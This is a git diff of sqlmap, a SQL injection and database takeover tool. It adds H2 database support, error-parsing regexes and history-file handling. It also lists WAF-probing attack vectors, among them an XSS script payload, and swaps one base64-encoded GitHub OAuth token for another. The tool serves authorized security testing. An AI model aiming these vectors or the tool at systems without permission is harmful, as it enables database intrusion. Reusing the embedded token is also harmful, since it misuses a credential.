See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -19,12 +19,13 @@ from lib.core.enums import DBMS_DIRECTORY_NAME
from lib.core.enums import OS from lib.core.enums import OS
# sqlmap version (<major>.<minor>.<month>.<monthly commit>) # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.2.4.0" VERSION = "1.3"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
DESCRIPTION = "automatic SQL injection and database takeover tool" DESCRIPTION = "automatic SQL injection and database takeover tool"
SITE = "http://sqlmap.org" SITE = "http://sqlmap.org"
DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE)
DEV_EMAIL_ADDRESS = "[email protected]" DEV_EMAIL_ADDRESS = "[email protected]"
ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new" ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git" GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
@@ -45,10 +46,10 @@ BANNER = """\033[01;33m\
DIFF_TOLERANCE = 0.05 DIFF_TOLERANCE = 0.05
CONSTANT_RATIO = 0.9 CONSTANT_RATIO = 0.9
# Ratio used in heuristic check for WAF/IPS/IDS protected targets # Ratio used in heuristic check for WAF/IPS protected targets
IDS_WAF_CHECK_RATIO = 0.5 IDS_WAF_CHECK_RATIO = 0.5
# Timeout used in heuristic check for WAF/IPS/IDS protected targets # Timeout used in heuristic check for WAF/IPS protected targets
IDS_WAF_CHECK_TIMEOUT = 10 IDS_WAF_CHECK_TIMEOUT = 10
# Lower and upper values for match ratio in case of stable page # Lower and upper values for match ratio in case of stable page
@@ -71,6 +72,7 @@ RANDOM_INTEGER_MARKER = "[RANDINT]"
RANDOM_STRING_MARKER = "[RANDSTR]" RANDOM_STRING_MARKER = "[RANDSTR]"
SLEEP_TIME_MARKER = "[SLEEPTIME]" SLEEP_TIME_MARKER = "[SLEEPTIME]"
INFERENCE_MARKER = "[INFERENCE]" INFERENCE_MARKER = "[INFERENCE]"
SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]"
PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__" PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
CHAR_INFERENCE_MARK = "%c" CHAR_INFERENCE_MARK = "%c"
@@ -97,6 +99,9 @@ MAX_CONSECUTIVE_CONNECTION_ERRORS = 15
# Timeout before the pre-connection candidate is being disposed (because of high probability that the web server will reset it) # Timeout before the pre-connection candidate is being disposed (because of high probability that the web server will reset it)
PRECONNECT_CANDIDATE_TIMEOUT = 10 PRECONNECT_CANDIDATE_TIMEOUT = 10
# Servers known to cause issue with pre-connection mechanism (because of lack of multi-threaded support)
PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP",)
# Maximum sleep time in "Murphy" (testing) mode # Maximum sleep time in "Murphy" (testing) mode
MAX_MURPHY_SLEEP_TIME = 3 MAX_MURPHY_SLEEP_TIME = 3
@@ -170,6 +175,9 @@ PUSH_VALUE_EXCEPTION_RETRY_COUNT = 3
# Minimum time response set needed for time-comparison based on standard deviation # Minimum time response set needed for time-comparison based on standard deviation
MIN_TIME_RESPONSES = 30 MIN_TIME_RESPONSES = 30
# Maximum time response set used during time-comparison based on standard deviation
MAX_TIME_RESPONSES = 200
# Minimum comparison ratio set needed for searching valid union column number based on standard deviation # Minimum comparison ratio set needed for searching valid union column number based on standard deviation
MIN_UNION_RESPONSES = 5 MIN_UNION_RESPONSES = 5
@@ -233,6 +241,7 @@ MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs") SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS") DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB") HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA")
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin") INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
@@ -246,20 +255,21 @@ MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db")
SYBASE_ALIASES = ("sybase", "sybase sql server") SYBASE_ALIASES = ("sybase", "sybase sql server")
DB2_ALIASES = ("db2", "ibm db2", "ibmdb2") DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql") HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
H2_ALIASES = ("h2",)
INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix") INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + INFORMIX_ALIASES SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES
SUPPORTED_OS = ("linux", "windows") SUPPORTED_OS = ("linux", "windows")
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES)) DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES))
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
REFERER_ALIASES = ("ref", "referer", "referrer") REFERER_ALIASES = ("ref", "referer", "referrer")
HOST_ALIASES = ("host",) HOST_ALIASES = ("host",)
HSQLDB_DEFAULT_SCHEMA = "PUBLIC" H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
# Names that can't be used to name files on Windows OS # Names that can't be used to name files on Windows OS
WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9") WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
@@ -321,7 +331,8 @@ FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"in (?P<result>
# Regular expressions used for parsing error messages (--parse-errors) # Regular expressions used for parsing error messages (--parse-errors)
ERROR_PARSING_REGEXES = ( ERROR_PARSING_REGEXES = (
r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>", r"\[Microsoft\]\[ODBC SQL Server Driver\]\[SQL Server\](?P<result>[^<]+)",
r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>[^<]+)",
r"(?m)^\s*(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$", r"(?m)^\s*(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)", r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)",
r"<li>Error Type:<br>(?P<result>.+?)</li>", r"<li>Error Type:<br>(?P<result>.+?)</li>",
@@ -364,10 +375,10 @@ URI_HTTP_HEADER = "URI"
URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z" URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z"
# Regex used for masking sensitive data # Regex used for masking sensitive data
SENSITIVE_DATA_REGEX = "(\s|=)(?P<result>[^\s=]*%s[^\s]*)\s" SENSITIVE_DATA_REGEX = r"(\s|=)(?P<result>[^\s=]*%s[^\s]*)\s"
# Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside) # Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside)
SENSITIVE_OPTIONS = ("hostname", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile", "testParameter", "authCred") SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "testParameter", "authCred")
# Maximum number of threads (avoiding connection issues and/or DoS) # Maximum number of threads (avoiding connection issues and/or DoS)
MAX_NUMBER_OF_THREADS = 10 MAX_NUMBER_OF_THREADS = 10
@@ -388,7 +399,7 @@ CANDIDATE_SENTENCE_MIN_LENGTH = 10
CUSTOM_INJECTION_MARK_CHAR = '*' CUSTOM_INJECTION_MARK_CHAR = '*'
# Other way to declare injection position # Other way to declare injection position
INJECT_HERE_REGEX = '(?i)%INJECT[_ ]?HERE%' INJECT_HERE_REGEX = r"(?i)%INJECT[_ ]?HERE%"
# Minimum chunk length used for retrieving data over error based payloads # Minimum chunk length used for retrieving data over error based payloads
MIN_ERROR_CHUNK_LENGTH = 8 MIN_ERROR_CHUNK_LENGTH = 8
@@ -406,7 +417,7 @@ REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__"
REFLECTED_BORDER_REGEX = r"[^A-Za-z]+" REFLECTED_BORDER_REGEX = r"[^A-Za-z]+"
# Regular expression used for replacing non-alphanum characters # Regular expression used for replacing non-alphanum characters
REFLECTED_REPLACEMENT_REGEX = r".+" REFLECTED_REPLACEMENT_REGEX = r"[^\n]{1,100}"
# Maximum time (in seconds) spent per reflective value(s) replacement # Maximum time (in seconds) spent per reflective value(s) replacement
REFLECTED_REPLACEMENT_TIMEOUT = 3 REFLECTED_REPLACEMENT_TIMEOUT = 3
@@ -426,6 +437,9 @@ DEFAULT_MSSQL_SCHEMA = "dbo"
# Display hash attack info every mod number of items # Display hash attack info every mod number of items
HASH_MOD_ITEM_DISPLAY = 11 HASH_MOD_ITEM_DISPLAY = 11
# Display marker for (cracked) empty password
HASH_EMPTY_PASSWORD_MARKER = "<empty>"
# Maximum integer value # Maximum integer value
MAX_INT = sys.maxint MAX_INT = sys.maxint
@@ -487,7 +501,7 @@ LEGAL_DISCLAIMER = "Usage of sqlmap for attacking targets without prior mutual c
REFLECTIVE_MISS_THRESHOLD = 20 REFLECTIVE_MISS_THRESHOLD = 20
# Regular expression used for extracting HTML title # Regular expression used for extracting HTML title
HTML_TITLE_REGEX = "<title>(?P<result>[^<]+)</title>" HTML_TITLE_REGEX = r"<title>(?P<result>[^<]+)</title>"
# Table used for Base64 conversion in WordPress hash cracking routine # Table used for Base64 conversion in WordPress hash cracking routine
ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
@@ -524,7 +538,7 @@ CHECK_INTERNET_ADDRESS = "https://ipinfo.io/"
# Value to look for in response to CHECK_INTERNET_ADDRESS # Value to look for in response to CHECK_INTERNET_ADDRESS
CHECK_INTERNET_VALUE = "IP Address Details" CHECK_INTERNET_VALUE = "IP Address Details"
# Vectors used for provoking specific WAF/IPS/IDS behavior(s) # Vectors used for provoking specific WAF/IPS behavior(s)
WAF_ATTACK_VECTORS = ( WAF_ATTACK_VECTORS = (
"", # NIL "", # NIL
"search=<script>alert(1)</script>", "search=<script>alert(1)</script>",
@@ -571,7 +585,7 @@ UNION_CHAR_REGEX = r"\A\w+\Z"
UNENCODED_ORIGINAL_VALUE = "original" UNENCODED_ORIGINAL_VALUE = "original"
# Common column names containing usernames (used for hash cracking in some cases) # Common column names containing usernames (used for hash cracking in some cases)
COMMON_USER_COLUMNS = ("login", "user", "username", "user_name", "user_login", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "usufrutuario", "korisnik", "usuario", "consumidor", "client", "cuser") COMMON_USER_COLUMNS = ("login", "user", "username", "user_name", "user_login", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "utilizator", "utilizador", "usufrutuario", "korisnik", "uporabnik", "usuario", "consumidor", "client", "cuser")
# Default delimiter in GET/POST values # Default delimiter in GET/POST values
DEFAULT_GET_POST_DELIMITER = '&' DEFAULT_GET_POST_DELIMITER = '&'
@@ -583,7 +597,7 @@ DEFAULT_COOKIE_DELIMITER = ';'
FORCE_COOKIE_EXPIRATION_TIME = "9999999999" FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
# Github OAuth token used for creating an automatic Issue for unhandled exceptions # Github OAuth token used for creating an automatic Issue for unhandled exceptions
GITHUB_REPORT_OAUTH_TOKEN = "NTMyNWNkMmZkMzRlMDZmY2JkMmY0MGI4NWI0MzVlM2Q5YmFjYWNhYQ==" GITHUB_REPORT_OAUTH_TOKEN = "NTYzYjhmZWJjYzc0Njg2ODJhNzhmNDg1YzM0YzlkYjk3N2JiMzE3Nw=="
# Skip unforced HashDB flush requests below the threshold number of cached items # Skip unforced HashDB flush requests below the threshold number of cached items
HASHDB_FLUSH_THRESHOLD = 32 HASHDB_FLUSH_THRESHOLD = 32
@@ -598,7 +612,7 @@ HASHDB_RETRIEVE_RETRIES = 3
HASHDB_END_TRANSACTION_RETRIES = 3 HASHDB_END_TRANSACTION_RETRIES = 3
# Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism) # Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism)
HASHDB_MILESTONE_VALUE = "dPHoJRQYvs" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))' HASHDB_MILESTONE_VALUE = "BZzRotigLX" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))'
# Warn user of possible delay due to large page dump in full UNION query injections # Warn user of possible delay due to large page dump in full UNION query injections
LARGE_OUTPUT_THRESHOLD = 1024 ** 2 LARGE_OUTPUT_THRESHOLD = 1024 ** 2
@@ -631,7 +645,7 @@ BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample
DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">" DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">"
# Regular expression used for recognition of file inclusion errors # Regular expression used for recognition of file inclusion errors
FI_ERROR_REGEX = "(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}" FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}"
# Length of prefix and suffix used in non-SQLI heuristic checks # Length of prefix and suffix used in non-SQLI heuristic checks
NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6 NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
@@ -661,7 +675,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
CHECK_ZERO_COLUMNS_THRESHOLD = 10 CHECK_ZERO_COLUMNS_THRESHOLD = 10
# Boldify all logger messages containing these "patterns" # Boldify all logger messages containing these "patterns"
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported") BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED")
# Generic www root directory names # Generic www root directory names
GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www") GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www")
@@ -673,7 +687,7 @@ MAX_HELP_OPTION_LENGTH = 18
MAX_CONNECT_RETRIES = 100 MAX_CONNECT_RETRIES = 100
# Strings for detecting formatting errors # Strings for detecting formatting errors
FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "DataTypeMismatchException", "CF_SQL_INTEGER", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException") FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
# Regular expression used for extracting ASP.NET view state values # Regular expression used for extracting ASP.NET view state values
VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)' VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
@@ -748,7 +762,7 @@ EVALCODE_KEYWORD_SUFFIX = "_KEYWORD"
NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File." NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File."
# Infixes used for automatic recognition of parameters carrying anti-CSRF tokens # Infixes used for automatic recognition of parameters carrying anti-CSRF tokens
CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf") CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token")
# Prefixes used in brute force search for web server document root # Prefixes used in brute force search for web server document root
BRUTE_DOC_ROOT_PREFIXES = { BRUTE_DOC_ROOT_PREFIXES = {
@@ -786,9 +800,9 @@ tr:nth-child(even) {
background-color: #D3DFEE background-color: #D3DFEE
} }
td{ td{
font-size:10px; font-size:12px;
} }
th{ th{
font-size:10px; font-size:12px;
} }
</style>""" </style>"""
+27 -20
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -53,28 +53,33 @@ def clearHistory():
readline.clear_history() readline.clear_history()
def saveHistory(completion=None): def saveHistory(completion=None):
if not readlineAvailable():
return
if completion == AUTOCOMPLETE_TYPE.SQL:
historyPath = paths.SQL_SHELL_HISTORY
elif completion == AUTOCOMPLETE_TYPE.OS:
historyPath = paths.OS_SHELL_HISTORY
else:
historyPath = paths.SQLMAP_SHELL_HISTORY
try: try:
with open(historyPath, "w+"): if not readlineAvailable():
return
if completion == AUTOCOMPLETE_TYPE.SQL:
historyPath = paths.SQL_SHELL_HISTORY
elif completion == AUTOCOMPLETE_TYPE.OS:
historyPath = paths.OS_SHELL_HISTORY
elif completion == AUTOCOMPLETE_TYPE.API:
historyPath = paths.API_SHELL_HISTORY
else:
historyPath = paths.SQLMAP_SHELL_HISTORY
try:
with open(historyPath, "w+"):
pass
except:
pass pass
except:
pass
readline.set_history_length(MAX_HISTORY_LENGTH) readline.set_history_length(MAX_HISTORY_LENGTH)
try: try:
readline.write_history_file(historyPath) readline.write_history_file(historyPath)
except IOError, msg: except IOError, msg:
warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg) warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg)
logger.warn(warnMsg) logger.warn(warnMsg)
except KeyboardInterrupt:
pass
def loadHistory(completion=None): def loadHistory(completion=None):
if not readlineAvailable(): if not readlineAvailable():
@@ -86,6 +91,8 @@ def loadHistory(completion=None):
historyPath = paths.SQL_SHELL_HISTORY historyPath = paths.SQL_SHELL_HISTORY
elif completion == AUTOCOMPLETE_TYPE.OS: elif completion == AUTOCOMPLETE_TYPE.OS:
historyPath = paths.OS_SHELL_HISTORY historyPath = paths.OS_SHELL_HISTORY
elif completion == AUTOCOMPLETE_TYPE.API:
historyPath = paths.API_SHELL_HISTORY
else: else:
historyPath = paths.SQLMAP_SHELL_HISTORY historyPath = paths.SQLMAP_SHELL_HISTORY
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+65 -39
View File
@@ -1,11 +1,10 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import codecs
import functools import functools
import os import os
import re import re
@@ -45,6 +44,7 @@ from lib.core.enums import POST_HINT
from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapFilePathException
from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapGenericException
from lib.core.exception import SqlmapMissingPrivileges from lib.core.exception import SqlmapMissingPrivileges
from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapUserQuitException
from lib.core.option import _setDBMS from lib.core.option import _setDBMS
@@ -52,9 +52,11 @@ from lib.core.option import _setKnowledgeBaseAttributes
from lib.core.option import _setAuthCred from lib.core.option import _setAuthCred
from lib.core.settings import ASTERISK_MARKER from lib.core.settings import ASTERISK_MARKER
from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import HOST_ALIASES from lib.core.settings import HOST_ALIASES
from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX
from lib.core.settings import INJECT_HERE_REGEX
from lib.core.settings import JSON_RECOGNITION_REGEX from lib.core.settings import JSON_RECOGNITION_REGEX
from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX
from lib.core.settings import MULTIPART_RECOGNITION_REGEX from lib.core.settings import MULTIPART_RECOGNITION_REGEX
@@ -83,6 +85,7 @@ def _setRequestParams():
conf.parameters[None] = "direct connection" conf.parameters[None] = "direct connection"
return return
hintNames = []
testableParameters = False testableParameters = False
# Perform checks on GET parameters # Perform checks on GET parameters
@@ -101,7 +104,6 @@ def _setRequestParams():
if conf.data is not None: if conf.data is not None:
conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method
hintNames = []
def process(match, repl): def process(match, repl):
retVal = match.group(0) retVal = match.group(0)
@@ -148,8 +150,8 @@ def _setRequestParams():
match = re.search(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data) match = re.search(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data)
if match and not (conf.testParameter and match.group("name") not in conf.testParameter): if match and not (conf.testParameter and match.group("name") not in conf.testParameter):
_ = match.group(2) _ = match.group(2)
_ = re.sub(r'("[^"]+)"', '\g<1>%s"' % kb.customInjectionMark, _) _ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _)
_ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', '\g<0>%s' % kb.customInjectionMark, _) _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _)) conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
kb.postHint = POST_HINT.JSON kb.postHint = POST_HINT.JSON
@@ -230,7 +232,7 @@ def _setRequestParams():
if kb.customInjectionMark not in conf.data: # in case that no usable parameter values has been found if kb.customInjectionMark not in conf.data: # in case that no usable parameter values has been found
conf.parameters[PLACE.POST] = conf.data conf.parameters[PLACE.POST] = conf.data
kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in conf.data) else kb.processUserMarks kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in (conf.data or "")) else kb.processUserMarks
if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or "") and conf.url.startswith("http"): if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or "") and conf.url.startswith("http"):
warnMsg = "you've provided target URL without any GET " warnMsg = "you've provided target URL without any GET "
@@ -344,7 +346,7 @@ def _setRequestParams():
# Url encoding of the header values should be avoided # Url encoding of the header values should be avoided
# Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value # Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value
if httpHeader.title() == HTTP_HEADER.USER_AGENT: if httpHeader.upper() == HTTP_HEADER.USER_AGENT.upper():
conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue) conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue)
condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES, True))) condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES, True)))
@@ -353,7 +355,7 @@ def _setRequestParams():
